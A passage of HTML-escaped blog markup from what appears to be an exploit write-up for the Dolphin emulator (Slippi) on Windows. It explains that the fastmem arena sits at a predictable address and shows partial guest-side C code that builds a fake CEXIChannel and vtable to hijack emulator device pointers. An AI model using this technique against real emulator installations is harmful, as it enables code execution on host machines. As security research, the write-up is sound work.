&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        use_sw_mirror &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; On 32-bit, we don&amp;#39;t have the actual address space to store all&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; the mirrors, so we just map the fallbacks somewhere in our address&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; space and use the software fallbacks for mirroring.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        view_base &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; base &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;virtual_address&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x3FFFFFFF&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        use_sw_mirror &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#endif&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (use_sw_mirror &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;flags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt; MV_MIRROR_PREVIOUS))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;            view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; views&lt;&#x2F;span&gt;&lt;span&gt;[i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;].&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view_ptr&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;            view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;mapped_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; arena&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;CreateView&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;shm_position&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;, view_base);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;            view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;mapped_ptr&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view_ptr&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;            &#x2F;&#x2F; Argh! ERROR! Free what we grabbed so far so we can try again.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;            MemoryMap_Shutdown&lt;&#x2F;span&gt;&lt;span&gt;(views, i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;, flags, arena);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;out_ptr&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;            *&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;out_ptr&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;view_ptr&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since that massive reserved block can fit the whole 32-bit address space &lt;em&gt;(4GB for address translation off, 4GB for it on, and 4GB + 4GB of unmapped padding after them just in case)&lt;&#x2F;em&gt;, the JIT can then (ab)use the host&#x27;s MMU to automatically translate addresses to the right place by using that region as a base for a 32-bit offset. If any memory access hits unmapped host memory (e.g., MMIO) within that region, the JIT goes and patches the memory access to use the slower method and tries again. Since most memory accesses only access main RAM, this is a net win!&lt;&#x2F;p&gt;
&lt;p&gt;Fastmem is a really cool optimization, but how does that help with the exploit? Well, despite having a whole 48 bits of address space to work with, Windows only ever seems to try to reserve that massive chunk of memory at the lowest address it can. There isn&#x27;t a whole lot allocated by Dolphin or any of its libraries before booting a game, so there isn&#x27;t much fragmentation in the address space. Near the top of that 32-bit address space is &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;ddi&#x2F;ntddk&#x2F;ns-ntddk-kuser_shared_data&quot;&gt;&lt;code&gt;KUSER_SHARED_DATA&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, which is always at &lt;code&gt;0x7FFEF000&lt;&#x2F;code&gt; no matter what. There&#x27;s a massive gap in address space between the end of &lt;code&gt;KUSER_SHARED_DATA&lt;&#x2F;code&gt; and the DLLs that get loaded in the &lt;code&gt;0x007FF...&lt;&#x2F;code&gt; range due to ASLR, so where does Windows put the Fastmem arena?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;fastmem.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Right after &lt;code&gt;KUSER_SHARED_DATA&lt;&#x2F;code&gt; at &lt;code&gt;0x7FFFF000&lt;&#x2F;code&gt; every single time, of course! This isn&#x27;t a fluke; it really is this consistent on all of the PCs I&#x27;ve tested.&lt;&#x2F;p&gt;
&lt;p&gt;Now that I know that I don&#x27;t need any leaks, let&#x27;s start poking around with this fake &lt;code&gt;CEXIChannel&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;lt;string.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;lt;gccore.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;lt;ogc&#x2F;machine&#x2F;processor.h&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Adapted from internal libogc code&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;static void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; __sram_write&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;buffer&lt;&#x2F;span&gt;&lt;span&gt;, u32 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Lock&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, EXI_DEVICE_1,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Select&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, EXI_DEVICE_1, EXI_SPEED8MHZ);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u32 cmd &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xA0000100&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Imm&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;cmd,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;, EXI_WRITE,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Sync&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    EXI_Dma&lt;&#x2F;span&gt;&lt;span&gt;(EXI_CHANNEL_0, buffer, size, EXI_WRITE,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;typedef struct&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;gap0&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0x18&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;m_devices&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt; &#x2F;&#x2F; IEXIDevice*[3]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;gap30&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0x8&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;} CEXIChannel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;static_assert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;sizeof&lt;&#x2F;span&gt;&lt;span&gt;(CEXIChannel)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x38&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; RAM_BASE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x7FFF0000uL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;#define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; TARGET_PTR_OFFSET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x58&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;static&lt;&#x2F;span&gt;&lt;span&gt; u64 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;const void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; input&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; RAM_BASE &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; ((u32)input &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x7FFFFFFF&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u8 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;fake_vtbl&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 256&lt;&#x2F;span&gt;&lt;span&gt;; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        fake_vtbl&lt;&#x2F;span&gt;&lt;span&gt;[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; i;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Addresses have to be byteswapped because PowerPC is big endian&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 fake_device &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fake_vtbl));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    CEXIChannel fake_channel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    memset&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fake_channel,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x99&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(fake_channel));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        fake_channel&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;m_devices&lt;&#x2F;span&gt;&lt;span&gt;[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fake_device));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
